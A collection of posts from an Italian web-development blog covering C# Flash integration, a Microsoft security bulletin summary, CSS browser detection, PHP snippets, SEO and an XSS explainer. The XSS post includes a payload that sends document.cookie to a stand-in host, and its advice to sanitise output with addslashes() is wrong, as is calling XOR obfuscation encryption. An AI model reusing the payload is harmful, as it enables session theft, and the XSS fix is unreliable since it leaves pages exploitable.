Non molto tempo fà ho dovuto sviluppare un'applicazione che integrasse un filmato Flash e interagisse con esso. Vediamo come realizzare un'applicazione del genere:

Per prima cosa dobbiamo aggiungere nella toolbox (casella degli strumenti) di Visual Studio i controlli Shockwave ActiveX, quindi tasto destro sulla toolbox -> Aggiungi Scheda e assegnargli un nome.

Ora bisogna generare un InterOp Asembly che vi permetterà di usare il controllo ActiveX nel vostro Form. Per fare questo, tasto destro sulla nuova scheda creata nella toolbox -> Scegli elementi -> Componenti COM e aggiungere 'Shockwave Flash Object'.

Prima di fare il drag di questo nuovo controllo sul vostro form bisogna sapere che VS2008 così come il suo predecessore VS2005 non aggiunge automaticamente i riferimenti COM necessari per l' OLE Automation quindi per rimediare a questa situazione bisogna aggiungere il riferimento a OLE Automation COM nel vostro progetto.
Per fare questo, da Esplora Soluzioni espandere il vostro progetto in questione, tasto destro su Riferimenti -> Aggiungi riferimento e nella scheda COM selezionare 'OLE Automation' e fare OK.
Ora draggando il controllo sul form noterete che Visual Studio aggiungerà alcuni nuovi riferimenti al vostro progetto. Questi sono gli InterOp Assembly per il controllo ActiveX Shockwave Flash Object Player.
Create una funzione e caricate il filmato flash in questo modo:

string path = System.Environment.CurrentDirectory;
path += @"\prova.swf";
axShockwaveFlash1.LoadMovie(0,path);
axShockwaveFlash1.Play();


Ricordate di aggiungere l'.swf nella vostra directory di Debug prima di testare.
Spostiamoci ora in Macromedia Flash e vediamo come far interagire il vostro .swf. Per mandare dati da un filmato Flash verso la vostra applicazione c'è bisogno di una chiamata alla funzione FSCommand. Questa funzione richiede 2 parametri opzionali: comando e parametri.








Per fare un esempio ho creato in Flash 3 bottoni (non mi dilungo a spiegare come perchè questo non è un tutorial su Flash):

Nell'evento on (press) dell'action script del primo bottone ci ho inserito:

on (press) {
    fscommand("Bottone","uno");
}

Adesso abbiamo bisogno di raccogliere i dati inviati dal filmato Flash.
Per fare questo incominciamo nell'aggiungere un nuovo gestore di eventi in questo modo:

this.axShockwaveFlash1.FSCommand += new AxShockwaveFlashObjects._IShockwaveFlashEvents_FSCommandEventHandler(this.axShockwaveFlash1_FSCommand);

e la sua relativa funzione:

private void axShockwaveFlash1_FSCommand(object sender, AxShockwaveFlashObjects._IShockwaveFlashEvents_FSCommandEvent e)
{
label1.Text = "E' stato premuto: " + e.command.ToString() + " " + e.args.ToString();
}


Eseguiamo la nostra applicazione:

Continua a leggere!

Il Patch Day di settembre porta con sé quattro patch per 8 vulnerabilità critiche che coinvolgono Windows Media Player, Windows Media Encoder, Microsoft Office e Microsoft Windows GDI+ (graphics device interface)

Puntuale come ogni mese, arriva il Patch Day di Microsoft portando con sé quattro patch indirizzate a otto vulnerabilità critiche che coinvolgono Windows Media Player, Windows Media Encoder, Microsoft Office e Microsoft Windows GDI+ (graphics device interface).

Il primo bollettino critico MS08-052 riporta cinque vulnerabilità che affliggono Microsoft Windows GDI+ e che permettono l'esecuzione di codice da remoto nel caso un utente tentasse di visualizzare tramite un software "contaminato" o siti Web malevoli una immagine creata opportunamente per ottenere l'exploit. Le vulnerabilità, critiche sotto Windows XP, Windows Server 2003, Vista e Windows Server 2008, si differenziano per il tipo di immagine utilizzata come vettore di attacco (VML, EMF, GIF, WMF o BMP).

Il secondo bollettino critico MS08-053 espone una vulnerabilità insita in Windows Media Encoder 9, più precisamente all'interno del controllo ActiveX WMEX.DLL installato da Windows Media Encoder 9 Series, ed in grado di permettere l'esecuzione di codice arbitrario da remoto nel caso un utente acceda a pagine Web create con intenti malevoli. La vulnerabilità risulta critica sotto Microsoft Windows 2000, Windows XP e Windows Vista.

Il terzo bollettino critico MS08-054 appare relativo ad un bug evidenziato in Windows Media Player 11 ed in grado di permettere l'esecuzione di codice da remoto nel caso un utenti effettui lo streaming di un file audio opportunamente creato da un server Windows Media. La debolezza riguarderebbe il modo con cui il client gestisce le playlist server-side (SSPL) e non sarebbe stata riscontrata nelle versioni precedenti del player multimediale.

L'ultimo bollettino critico MS08-055 riporta una vulnerabilità in Microsoft Office e più precisamente in Microsoft Office OneNote 2007. La falla potrebbe permettere l'esecuzione di codice da remoto nel caso un utente cliccasse su di un URL opportunamente confezionata e associato a OneNote. Una volta preso possesso del sistema, un utente malintenzionato potrebbe installare al suo interno programmi, visualizzare, modificare o eliminare dati, oppure creare nuovi account con tutti i privilegi.

Continua a leggere!






Download: Chrome Safari






Download: Red Textured






Download: Mint textured






Download: LimeGreen Textured






Download: Blue Textured







Download: Black textured







Download: Tango Chrome

  • Installazione su Windows XP:
  • Individuare la directory: C:\Documents and Settings\”vostro nome utente”\Impostazioni Locali\Dati applicazioni\Google\Chrome\Application\0.2.149.29\Themes Cercare il file “default.dll” e rinominarlo come “backupdefault” (senza .dll), copiare il file contenuto nel download (default.dll) nella directory “themes” di Google Chrome. 
  • Installazione su Windows Vista:
  • Individuare la directory: C:\Users\”vostro nome utente”\AppData\Local\Google\Chrome\Application.2.149.29\Themes Cercare il file “default.dll” e rinominarlo come “backupdefault” (senza .dll), copiare il file contenuto nel download (default.dll) nella directory “themes” di Google Chrome.

Continua a leggere!

CSS: Un'alternativa per non usare gli hacks

Tutti gli sviluppatori di siti web sanno che alcuni stili vengono visualizzati in modo diverso nei vari browser. Per correggere questa cosa, solitamente si usano i 'css hacks'.
Voglio farvi vedere un'ottima soluzione alternativa per non utilizzare gli 'hacks' tramite javascript:

<script type="text/javascript">
var cssFix = function(){
var u = navigator.userAgent.toLowerCase(),
addClass = function(el,val){
if(!el.className) {
el.className = val;
} else {
var newCl = el.className;
newCl+=(" "+val);
el.className = newCl;
}
},
is = function(t){return (u.indexOf(t)!=-1)};
addClass(document.getElementsByTagName(’html’)[0],[
(!(/opera|webtv/i.test(u))&&/msie (d)/.test(u))?(’ie ie’+RegExp.$1)
:is(’firefox/2&#8242;)?’gecko ff2&#8242;
:is(’firefox/3&#8242;)?’gecko ff3&#8242;
:is(’gecko/’)?’gecko’
:is(’opera/9&#8242;)?’opera opera9&#8242;:/opera (d)/.test(u)?’opera opera’+RegExp.$1
:is(’konqueror’)?’konqueror’
:is(’applewebkit/’)?’webkit safari’
:is(’mozilla/’)?’gecko’:”,
(is(’x11&#8242;)||is(’linux’))?’ linux’
:is(’mac’)?’ mac’
:is(’win’)?’ win’:”
].join(" "));
}();
</script>

Dopo l'esecuzione, possiamo utilizzare questi stili per i browser:

.ie — Tutte le versioni di IE;
.ie8 — IE 8.х;
.ie7 — IE 7.x;
.ie6 — IE 6.x;
.ie5 — IE 5.x;
.gecko — Tutte le versioni di Firefox;
.ff2 — Firefox 2;
.ff3 — Firefox 3;
.opera — Tutte le versioni di Opera;
.opera8 — Opera 8.x;
.opera9 — Opera 9.x;
.konqueror — Konqueror;
.safari — Safari.

Per esempio: se si vuole che il testo in Opera sia rosso potremmo scrivere:

.opera div {
    color:red;
}

Continua a leggere!

Spesso trovare plugin photoshop per questi scopi richiede tempo e molti di questi sono in versione valutativa. Ecco perchè voglio segnalarvi Big Huge Labs una raccolta di tools online gratuiti che permettono di divertirvi con le vostre foto, creando effetti puzzle, posters, calendari, collage e molto altro.
Tutto è molto personalizzabile grazie all'utilizzo delle Flickr API. Il sito è in inglese ma i tools a disposizione sono facilmente utilizzabili e intuitivi.
Vorrei invitare chiunque ne conoscesse altri di segnalarli, grazie :)

Continua a leggere!

Molti software utilizzano questo effetto, soprattutto nel loro avvio iniziale (loading screen). Ecco una classe per realizzarlo:

public class WindowAnimator
{
Form window;
float Step;
Timer time;

public WindowAnimator(Form FormToAnimate)
{
window = FormToAnimate;
}

public void WindowFadeIn(int interval, float steps)
{
//Salva steps
Step = steps;
//Crea il Timer
time = new Timer();
time.Interval = interval;
time.Tick += new EventHandler(Timer_TickIn);
time.Start();
}
private void Timer_TickIn(object sender, EventArgs e)
{
//Controlla l'opacità del form
if (window.Opacity != 1.0)
{
//Se è inferiore di 1 incrementa l'opacità
window.Opacity += Step;
}
else
{
//Finito, stoppa il timer.
time.Stop();
}
}

public void WindowFadeOut(int interval, float steps)
{
Step = steps;
time = new Timer();
time.Interval = interval;
time.Tick += new EventHandler(Timer_TickOut);
time.Start();
}

private void Timer_TickOut(object sender, EventArgs e)
{
if (window.Opacity != 0.1)
{
window.Opacity -= Step;
}
else
{
time.Stop();
}
}
}

Continua a leggere!

Più di 450 script Ajax gratuiti per il vostro sito

Ajax Rain, ecco una libreria di più di 450 script Ajax da inserire nel vostro sito, come form di upload, tooltip, progress bar, grafici interattivi, menu contestuali e molto altro.

Gli script sono pubblici e molti utilizzano i già noti framework Ajax come QooxDoo, JQuery, YUI.
Come dice lo slogan, "Secret Behind your inspiration", Ajax Rain è un’ottima risorsa da cui prendere spunto e per mettere in moto la nostra fantasia.

Continua a leggere!


Per gli amanti di Photoshop ecco Topaz Adjust, un plug-in fantastico per regolare esposizione, colori, dettagli e rumori di un'immagine. Topaz utilizza algoritmi avanzati per raggiungere effetti straordinari in pochi secondi e il risultato finale è un'immagine HDR di tutta qualità.
Gli utenti Windows possono scaricare Topaz a questo indirizzo, mentre a questo gli utenti Mac.
Il plug-in "purtroppo" è in versione trial per 30 giorni, ma ovviamente siete liberi di pensare quello che sto pensando io :)

Continua a leggere!

Rilasciato Firefox 3.1 Alpha 2


Mozilla ha rilasciato la seconda alpha di Firefox 3.1, nome in codice "Shiretoko."
La nuova release supporta gli elementi <video> per l'HTML 5 e la possibilità di fare "drag and drop" dei tabs tra le finestre del browser.

Computer World ha pubblicato un articolo riguardo alcuni benchmarks i cui risultati dimostrano che Firefox 3.1 interpreta più velocemente Javascript rispetto a Chrome.

Continua a leggere!


Per i maniaci e amanti della riga di comando ecco: Goosh in stile *nix e dannatamente nerd. La shell è scritta in AJAX ed è un modo alternativo per eseguire ricerche su Google impartendo comandi da console come se si stesse lavorando su un qualche server Linux.

Qualcuno è disposto a mettere Goosh per qualche giorno come homepage sul proprio browser?

Continua a leggere!


Con l'avanzata di Apple nelle quote di mercato nel settore enterprise, passando dall'1,2% al 4,5%, Microsoft è costretta ad avviare una nuova campagna pubblicitaria con uno sforzo di 300 milioni di dollari di cui 10 a Jerry Seinfeld (noto attore comico statunitense) che invita gli uenti a passare a Vista.

Questo simpatico spot, dove si vede discutere Bill Gates e Jerry Seinfeld, è il primo di tanti altri spot anti-Apple, con l'obiettivo di dimostrare che Vista è molto più aperto e user-friendly all'utente.
E’ buffo notare che sia Seinfeld che l’agenzia di comunicazione che sta progettando la campagna, fanno uso di computer Apple. Lo stesso Seinfeld ha detto che la campagna sarebbe un successo, se lo convincesse a passare a Vista.
Staremo a vedere se tutto questo porterà i suoi frutti.

Continua a leggere!

Tecnica di scripting corss-site

Mediante questa tecnica, un hacker potrebbe eseguire porzioni di codice in linguaggi di scripting lato-client, come Javascript, al fine di carpire cookie o altri dati sensibili.
Il cross-site scripting non è affatto complesso da realizzare: basta inserire dati grezzi nell'HTML del sito. Per esempio, l'hacker potrebbe digitare:

<script language="javascript">alert();</script> in una casella di input che non genera tag HTML.

Il seguente script illustra questa possibilità:

<html>
<head><title>Devjoker: Esempio XSS</title></head>
<body>
<form>
<input name='devjoker' value='<?php echo $_GET['devjoker']; ?>'>
</form>
</body>
</html>

Si tratta di uno script molto immediato. Supponete che l'hacker digiti questa stringa nel capo del vostro modulo:

'></a><script>alert(document.cookie);</script><a b='

Il codice JavaScript darebbe origine a questa finestra popup:



Naturalmente, non si tratta di niente di spaventoso. Tuttavia supponete che, invece di questo innocente popup, l'input sia:

'></a><script>document.location='http://spyurl.com/cgi-bin/cookie.cgi?f='+document.cookie</script><a b='


Quando l'utente è portato ad attivare questo URL, i contenuti del suo cookie verranno inviati a siteurl.com. Naturalmente è improbabile che l'utente faccia clic su un URL contenente spyurl.com, ma "spyurl.com" potrebbe essere in una forma codificata, tale da apparire meno "sospetta", specialmente ai principianti di Internet.

Si può "bonificare" l'input mediante la funzione addslashes() che aggiunge una barra davanti a qualsiasi virgoletta semplice ('), doppia ("), backslash(\) e al simbolo di NULL (\0). Esistono comunque altre funzioni per rendere più sicuro l'input, come strip_tags().

Continua a leggere!

Molti pensano che XHTML sia una tecnologia complicata che richiede di imparare un approccio totalmente nuovo alla creazione delle
pagine Web. Ma non è così, la verità è che XHTML non è poi così ben diverso da HTML. La versione più recente di HTML ha risolto molti dei problemi delle versioni precedenti, perciò il salto tra HTML e XHTML è breve.

Il processo di conversione da un documento HTML a XHTML comporta modifiche di minore entità nella codifica.
Di seguito elenco i principali requisiti dei documenti XHTML che dovreste tenere presenti quando intendete elevare documenti HTML agli standard XHTML.

  • Aggiungere una DTD (document type declaration) all'inizio della pagina.
  • Dichiarare una DTD XHTML nella document type definition.
  • Dichiarare un namespace XHTML nell'elemento html.
  • Accertarsi che gli elementi head e body siano presenti.
  • Portare l'elemento title in prima posizione all'interno dell'elemento head.
  • Trasformare i nomi degli elementi e degli attributi in minuscolo.
  • Accertarsi che gli elementi e degli attributi in minuscolo.
  • Accertarsi che gli elementi non vuoti abbiano il tag finale.
  • Accertarsi che gli elementi vuoti consistano di un tag vuoto o di una coppia di tag iniziale e tag finale.
  • Assegnare valori agli attributi.
  • Racchiudere i valori attributo tra virgolette.

Noterete che la maggior parte dei requisiti sopra riportati evidenzia il maggior grado di strutturazione insito in XHTML. Fortunatamente potete modificare la maggior parte dei documenti HTML secondo queste linee guida senza troppe difficoltà e sofferenza.

Continua a leggere!

Per chi sviluppa siti internet è importante effettuare un buon posizionamento sui motori di ricerca. Approfondiamo, quindi, l'argomento SEO:

  • E' necessario che il codice rispetti gli standard descritti dal W3C
  • contenuti ben organizzati e strutturati, utilizzando codice semanticamente corretto

Iniziando da questa base è possibile ottenere buoni risultati, ma la cosa più importante da tenere presente è che un sito per essere trovato ha bisogno di contenuti da offrire. Molti contenuti. E’ per questo motivo che i blog sono così ben visti dai motori di ricerca: sono una fonte continua di notizie in continuo aggiornamento, ed il patrimonio che mettono a disposizione degli utenti aumenta continuamente, ad ogni post.

Non è però tutto così facile. Ci sono diverse tipologie di contenuti completamente invisibili ai motori di ricerca, inutili ai fini del posizionamento e controproducenti se usate su larga scala.
  • Iframes
  • Gli Iframe non sono validi usando doctype XHTML. Inoltre visualizzare dei contenuti in questo modo significa non sfruttarli pienamente, perchè gli spider dei motori di ricerca non leggeranno ciò che si trova all’interno della finestra dell’Iframe. 
  • Flash
  • Il tanto discusso flash è spesso inutile ed impossibile da leggere per i motori di ricerca. Il bello è che il modo per far indicizzare comunque i contenuti ci sarebbe, ad esempio fornendo delle alternative accessibili. Inutile dire che non viene quasi mai usato in maniera corretta. 
  • AJAX
  • Spesso sinonimo di Web 2.0, AJAX è una tecnologia da usare con cautela. Ne ho parlato anche in passato, riempire un sito di javascript per generare i contenuti è una pessima idea ai fini del posizionamento. 
  • Video e Audio
  • Come immaginerete, tutto ciò che è video e audio non può essere indicizzato da Google (almeno per ora..). Per risolvere il problema basterebbe rispettare i requisiti per un sito accessibile, ovvero affiancare delle trascrizioni.
    Cosa fare se un sito ha tutti questi elementi che non verranno mai letti da un motore di ricerca? Lavorare a posteriori non è mai facile, ma inizialmente puntare sulla pulizia del codice può aiutare molto. Utilizzare il corretto title sulle proprie pagine, eliminare i meta tag obsoleti, fare attenzione ai titoli e magari passare ad una doctype di tipo XHTML sono i primi passi da compiere.

Continua a leggere!

Google Chrome: alla scoperta del nuovo browser

Google ha lanciato da pochi giorni il nuovo browser: Chrome. Vediamo di analizzare il software ed i suoi eventuali problemi.

Ho installato Chrome e devo dire che mi ha veramente stupito, non pensavo minimamente che fosse un browser al livello degli altri per il semplice motivo che un browser nuovo è sempre un pò spartano e pieno di difetti, ma ho dovuto ricredermi. La sua velocità nell'aprire le pagine web è veramente incredibile e questo è dovuto ad un motore javascript che è stato realizzato da zero.Pseudotecnico sul suo blog ha pubblicato un confronto con Firefox 3 e fino ad ora Chrome risulta il più veloce e 3 volte più leggero, in termini di cunsumo di CPU, rispetto agli altri.
Utilizza WebKit per il rendering delle pagine, lo stesso di Safari 3.1. I siti realizzati secondo gli standard web non avranno quindi grandi problemi di visualizzazione. La novità sta nella barra degli indirizzi che serve anche come casella di ricerca, il che rende il browser con un'interfaccia molto leggera e utilizzabile. Per gli sviluppatori è disponibile una console Javascript, un debugger e un ispezionamento degli elementi simile a Firebug. Una caratteristicha davvero importante è nei tab, ogni tab occupa un processo diverso, questo evita, in caso di crash, la chiusura dell'intero browser come avviene in tutti gli altri.

Parliamo dei difetti: Chrome non permette l'aggiunta di estensioni, questo significa che add-on come AdBlock probabilmente non potrà mai essere utilizzato poichè Google non consentirà mai di nascondere le pubblicità sul proprio browser. Un altro grosso problema, che sicuramente sarà risolto a breve, è sul lato della sicurezza. Chrome è stato infatti costretto a subire il primo forte colpo alla credibilità del proprio browser, colto da una vulnerabilità che avrebbe tranquillamente potuta essere evitata. La grave vulnerabilità è tale da aprire le porta ad un possibile attacco di massa portando l'utente a visitare un sito web che possa avviare il download maligno e l'esecuzione successiva: chiamato "carpet bombing". Questo bug , deriva dalla vecchia versione di Webkit su cui tanto Safari quanto Chrome sono basati, ecco un esempio dimostrativo di come questo avviene. Un'altra nota dolente sta negli aggiornamenti. Come scritto nella licenza d'uso del software, Google si riserva il diritto di installarli automaticamente senza che l'utente possa fare niente.

In conclusione il nuovo browser, difetti a parte poichè è un prodotto ancora in BETA, è davvero innovativo e non mi stupirei se guadagnasse quote di mercato interessanti. Purtroppo per noi sviluppatori sarà un'altro browser su cui testare le nostre pagine web e la cosa diventa più complicata ma ci si aspetta che rispetti il W3C almeno quanto Firefox.

Continua a leggere!

Ancora oggi, purtroppo, durante lo sviluppo di un'applicazione vengono utilizzati file .ini, metodo ormai obsoleto. Vediamo come salvare il testo contenuto nelle TextBox di un Form in un file .xml e successivamente ricaricare i dati nei rispettivi TextBox.

  • Esempio file app.config

  • <?xml version="1.0" encoding="utf-8"?>
    <configuration>
    <appSettings>
    <app key="Nome" value="Mario Rossi" />
    <app key="Email" value="mariorossi@blabla.it" />
    </appSettings>
    </configuration>


  • Scrittura del file app.config

  • string ConfigFile = "app.config";
    FileStream fs = new FileStream(ConfigFile, FileMode.Create);
    XmlTextWriter w = new XmlTextWriter(fs, Encoding.UTF8);

    w.WriteStartDocument();
    w.WriteStartElement("configuration");
    w.WriteStartElement("appSettings");
    w.WriteStartElement("app");
    w.WriteAttributeString("key", "Nome");
    w.WriteAttributeString("value", textBoxUser.Text);
    w.WriteEndElement();
    w.WriteStartElement("app");
    w.WriteAttributeString("key", "Email");
    w.WriteAttributeString("value", textBoxEmail.Text);
    w.WriteEndElement();
    w.Flush();
    fs.Close();
  • Lettura del file app.config

  • string ConfigFile = "app.config";
    FileStream fs = new FileStream(ConfigFile, FileMode.Create);
    XmlTextWriter w = new XmlTextWriter(fs, Encoding.UTF8);

    w.WriteStartDocument();
    w.WriteStartElement("configuration");
    w.WriteStartElement("appSettings");
    w.WriteStartElement("app");
    w.WriteAttributeString("key", "Nome");
    w.WriteAttributeString("value", textBoxUser.Text);
    w.WriteEndElement();
    w.WriteStartElement("app");
    w.WriteAttributeString("key", "Email");
    w.WriteAttributeString("value", textBoxEmail.Text);
    w.WriteEndElement();
    w.Flush();
    fs.Close();

  • Lettura del file app.config

  • public static NameValueCollection AppSettings;

    private void load_Config()
    {
    try
    {
    if (File.Exists(ConfigFile))
    {
    XmlDocument oXml = new XmlDocument();
    oXml.Load(ConfigFile);
    XmlNodeList appList = oXml.GetElementsByTagName("appSettings");
    AppSettings = new NameValueCollection();
    foreach (XmlNode aNode in appList)
    {
    foreach (XmlNode aKey in aNode.ChildNodes)
    {
    AppSettings.Add(aKey.Attributes["key"].Value, aKey.Attributes["value"].Value);
    }
    }
    textBoxUser.Text = AppSettings["Nome"];
    textBoxEmail.Text = AppSettings["Email"];
    }
    }
    catch
    {
    MessageBox.Show("Errore lettura file di configurazione.");
    }
    }


    Non dimenticare ovviamente di aggiungere i namespace System.Xml, System.Collections.Specialized e System.IO.

Continua a leggere!

Basta con IE6! Si propone Save The Developers

Parlando di browser, il nemico giurato di tutti gli sviluppatori è l’ormai noto Internet Explorer 6. Sembra veramente difficile eliminarlo dai computer di tutto il mondo, soprattutto dopo che la Microsoft ha fatto diventare opzionale l’aggiornamento di IE7. Da qualche mese è nata un’iniziativa chiamata Save The Developers, che si propone di far sparire IE6 senza troppi mezzi termini. Qualche riga di Javascript, ed il sito che si vuole visitare mostrerà una pagina che suggerisce di scaricare un browser alternativo come IE7, Firefox, Safari o Opera.

Niente velati consigli, ma un vero e proprio muro contro gli utilizzatori del vecchio browser Microsoft. Quasi una moderna vendetta, sulla falsariga dei siti anni ‘90 che riportavano la frase “ottimizzato per Internet Explorer 6″.

Sono molti i sostenitori dell’iniziativa, anche se il numero di siti che partecipano attivamente installando lo script non è noto.

Nonostante le buone intenzioni però, non sono d’accordo sul metodo. Conosco bene i problemi relativi allo sviluppo su IE6, e sarei ben contento anche io di vederlo sparire, ma limitare l’esperienza degli utenti a seconda del browser utilizzato non credo sia la scelta corretta. Internet dovrebbe essere accessibile a chiunque, ed uno dei compiti degli sviluppatori è raggiungere questo obiettivo, non ostacolarlo. Tralasciando i discorsi relativi al calo delle visite e alla perdita degli utenti sopracitati, penso che il problema possa essere risolto solo ad un livello superiore, da parte delle grandi aziende. La Microsoft però ha già dimostrato di non voler forzare il passaggio, e sicuramente il flop di Windows Vista non aiuta (Vista ha obbligatoriamente IE7). Resta da vedere come sarà distribuito Explorer 8, ma per questo ci vorrà ancora del tempo.

Pensate che la strada intrapresa da Save The Developers sia corretta? Io per il momento resto dubbioso, ma qualcosa potrebbe comunque muoversi. Non è un caso che un servizio come il nuovo MobileMe targato Apple non supporti IE6. Il futuro potrebbe essere più roseo per tutti, sviluppatori compresi.

Continua a leggere!

Google ha annunciato una migliore indicizzazione dei contenuti Flash, in realtà però Flash continua ad avere ancora molti limiti e incompatibilità con i motori di ricerca
Cerchiamo di capire perchè:

  • 1. Pagine non linkabili

  • Sicuramente vi sarà capitato navigando nei numerosi siti realizzati utilizzando questa tecnologia di non poter linkare una pagina che a voi interessa. Questo può risultare molto scomodo se, per esempio, si vuole far vedere ad un amico una determinata pagina di un sito interamente in Flash, bisognerebbe quindi fornirgli le istruzioni per arrivare alla pagina desiderata.

  • 2. Non si indicizzano link esterni

  • E' una conseguenza del primo punto. I motori di ricerca infatti si basano anche sui link esterni per ordinare i risultati e sempre per il problema di prima si riuscirebbe solamente a posizionare la propia homepage e nient'altro.

  • 3. I testi spesso non sono formattati e selezionabili

  • Spesso i testi dei siti realizzati in Flash non rispettano la formattazione in maniera accurata e a volte non sono nemmeno selezionabili per, eventualmente, essere stampati.

  • 4. Le regole SEO di base spesso non vengono seguite

  • E’ possibile realizzare delle animazioni Flash e, osservando alcune regole di massima, cercare di farle indicizzare correttamente. Un suggerimento potrebbe essere caricare i contenuti formattati tramite un xml esterno. Nella maggior parte dei casi però chi sviluppa non conosce o non segue queste indicazioni, rendendo impossibile il lavoro dei motori di ricerca.

  • 5. Molti contenuti Flash non vengono comunque indicizzati

  • Anche rivolgendo la massima attenzione nella realizzazione di un Flash, non avrete garanzie che il vostro lavoro venga indicizzato dai motori di ricerca. Un esempio pratico riguarda Google, che non riesce ancora ad indicizzare i file .swf inclusi tramite SWFObject.

  • Conclusioni

  • Il mio parere è di utilizzare Flash solamente per determinate tipologie di siti e solo se è veramente necessario. Ciò non toglie, però, che può essere utilizzato benissimo per migliorare l'aspetto estetico del sito utilizzando effetti ed animazioni particolari su immagini e parti del sito dove l'indicizzazione ci interessa poco. Ovviamente è sconsigliabile utilizzarlo per menu di navigazione, testi e contenuti che possono impedire la corretta indicizzazione degli stessi.

Continua a leggere!

Cuil il futuro rivale di Google?

Presentato come il nuovo rivale di Google, Cuil è un nuovo motore di ricerca creato da alcuni ex-dipendenti di Google. Ma ovviamente non mancano le critiche.
Dal punto di vita grafico, l'interfaccia è ben curata anche se personalmente non condivido l'utilizzo di 2/3 colonne per l'impaginazione dei risultati, spesso diventa molto confusionario e poco usabile. La pecca più grande, ahimè, sta nei risultati a volte non corretti e fuori da ogni logica. Facciamo una prova cercando 'prison break' (uno delle mie serie tv preferite) per renderci conto anche della quantità di risultati trovati rispetto al nostro grande Google:

Google: 29.300.000 di risultati.
Cuil: 7.640.517 di risultati.

Vi riporto quanto detto anche da SEOmoz riguardo il lancio di Cuil, in termini non esattamente entusiastici:

Cuil was foolish to launch now. Given the buzz they had and the potential to take market share (even a fraction of a percent is worth millions), they should have had lots of people like me running lots of tests like this, showing them how clearly far behind they were from the major engines. You only get one chance to make a first impression, and theirs was spoiled.

E' vero si che si tratta di un motore di ricerca appena nato e che ha tutta la voglia di crescere per migliorare ma credo sia stato un grande errore pubblicizzare a livello mondiale un motore di ricerca che non soddisfa pienamente le ricerche degli utenti.
Quanto dovranno lavorare gli sviluppatori di Cuil per avere una seconda possibilità da parte di questi utenti insoddisfatti?

Lascio a voi le conclusioni.

Continua a leggere!

PHP: Contare i files ricorsivamente

Un esempio che ritorna il numero di files inclusi anche nelle sottodirectory.
E' necessario utilizzare una funzione normalize_path per essere sicuri che la variabile $path contenga gli slash finali (-> http://codedump.jonasjohn.de/snippets/normalize_path.htm)

function count_files_recursive($path) {
$files = 0;
$dir = opendir($path);

if (!$dir){return 0;}
while (($file = readdir($dir)) !== false) {
if ($file[0] == '.'){ continue; }
if (is_dir($path.$file)){
$files += count_files_recursive($path.$file.DIRECTORY_SEPARATOR);
}
else {
$files++;
}
}
closedir($dir);
return $files;
}

Continua a leggere!

Questo esempio mostra come cancellare determinati tipi di file dopo un periodo di tempo. Questo può essere utile, per esempio, per cancellare files in cache.

// Definire la directory da pulire
$captchaFolder = 'temp/';
// I tipi di file da controllare (si può usare anche *.*)
$fileTypes = '*.jpg';
// Qui è possibile definire dopo quanti
// minuti i file saranno cancellati
$expire_time = 20;

foreach (glob($captchaFolder . $fileTypes) as $Filename) {
$FileCreationTime = filectime($Filename);
$FileAge = time() - $FileCreationTime;
if ($FileAge > ($expire_time * 60)){
print "The file $Filename is older than $expire_time minutes\n";
}
}

Continua a leggere!

Cryptiamo una stringa con una chiave utilizzando l'algoritmo XOR.

- Il parametro InputString specifica la stringa data in input.
- Il parametro KeyPhrase specifica la chiave da utilizzare.

function XOREncryption($InputString, $KeyPhrase){
$KeyPhraseLength = strlen($KeyPhrase);
for ($i = 0; $i < strlen($InputString); $i++){
$rPos = $i % $KeyPhraseLength;
$r = ord($InputString[$i]) ^ ord($KeyPhrase[$rPos]);
$InputString[$i] = chr($r);
}
return $InputString;
}

function XOREncrypt($InputString, $KeyPhrase){
$InputString = XOREncryption($InputString, $KeyPhrase);
$InputString = base64_encode($InputString);
return $InputString;
}

function XORDecrypt($InputString, $KeyPhrase){
$InputString = base64_decode($InputString);
$InputString = XOREncryption($InputString, $KeyPhrase);
return $InputString;
}

Continua a leggere!


Nel caso qualcuno non sia a conoscenza, il Web 2.0 è un termine coniato per descrivere l'immensa quantità di siti web oggi esistenti che permette agli utenti Internet di avere un posto dove partecipare interattivamente in tanti modi diversi. Degli esempi di Web 2.0 possono essere Flickr, dove gli utenti condividono foto, YouTube per i video o Wikipedia dove tutti possono contribuire ai contenuti di un articolo.
Di recente si sente parlare molto di Web 3.0, ma cosa si intende esattamente per 3.0?

Si intende la navigazione sul web totalmente (o quasi) in 3D. Se il Web 2.0 è basato sul lato "sociale" del mondo online, le applicazioni web 3.0 saranno focalizzate verso i gruppi. Tutto questo è possibile grazie allo sviluppo di processori più veloci e di un'alta velocità di accesso alla banda larga. Le applicazione web 3.0 saranno basate su una realtà virtuale, luogo in cui gli utenti saranno immersi nei contenuti e potranno provare qualsiasi cosa.
Sun Microsystem ha da poco reso pubblica l’anteprima della JavaFX, piattaforma di programmazione basata sulle RIE (Rich Internet Applications), ovvero applicazioni web che possiedono tutte quelle funzionalità tipiche di ogni computer senza però essere necessariamente installate sul disco fisso.
Ecco una nuova applicazione (ancora in fase di sviluppo) chiamata Cooliris che permette di farci vedere in anteprima come potrebbe presentarsi ai nostri occhi una navigazione web 3.0.

Continua a leggere!


Un post su una delle mie passioni preferite, il fotoritocco.
Essendo un campo molto particolare non basterà certamente un semplice tutorial come questo per illustrarvi tutto ciò che bisogna sapere, ma può essere un ottimo punto di partenza.

Il tutorial è visualizzabile a questo indirizzo.

Continua a leggere!

Photoshop: 41 effetti spettacolari


Ecco Photoshop quanto potente può essere in termini di foto editing. Ecco una raccolta di 41 spettacolari Tutorial in Photoshop che permettono di realizzare effetti davvero unici.
Poi il resto sta alla vostra immaginazione e fantasia.

Continua a leggere!

InputBox di Visual Basic 6.0 in C#

Sfortunatamente in C# non esiste una funzione InputBox() come in Visual Basic 6.0/.NET ma si può risolvere il problema aggiungendo il riferimento a 'Microsoft.VisualBasic.dll'.
In Visual Studio 2005/2008 andare in Esplora Soluzioni, tasto destro su Riferimenti -> Aggiungi Riferimento. Nel tab .NET selezionare Microsoft.VisualBasic e fare OK.

Ecco un esempio di una InputBox dove inserire un valore:


private void show_InputBox()
{
String Prompt = "Inserisci valore";
String Title = "Valore richiesto";
String Default = "";
Int32 XPos = ((SystemInformation.WorkingArea.Width / 2) - 200);
Int32 YPos = ((SystemInformation.WorkingArea.Height / 2) - 100);

String Result = Microsoft.VisualBasic.Interaction.InputBox(Prompt, Title, Default, XPos, YPos);

if (Result != "")
{
//Codice per valore inserito. Esempio:
MessageBox.Show("Valore inserito: " + Result);
}
else
{
//Codice per valore non inserito. Esempio:
MessageBox.Show("Valore non inserito");
}
}

Continua a leggere!

Un esempio su come cryptare e decryptare con una password, tramite l'algoritmo DES, un file di testo.

- Il parametro sInputFilename specifica il file da cryptare.
- Il parametro sOutputFilename specifica il file da decryptare.
- Il parametro sKey specifica la password da utilizzare.

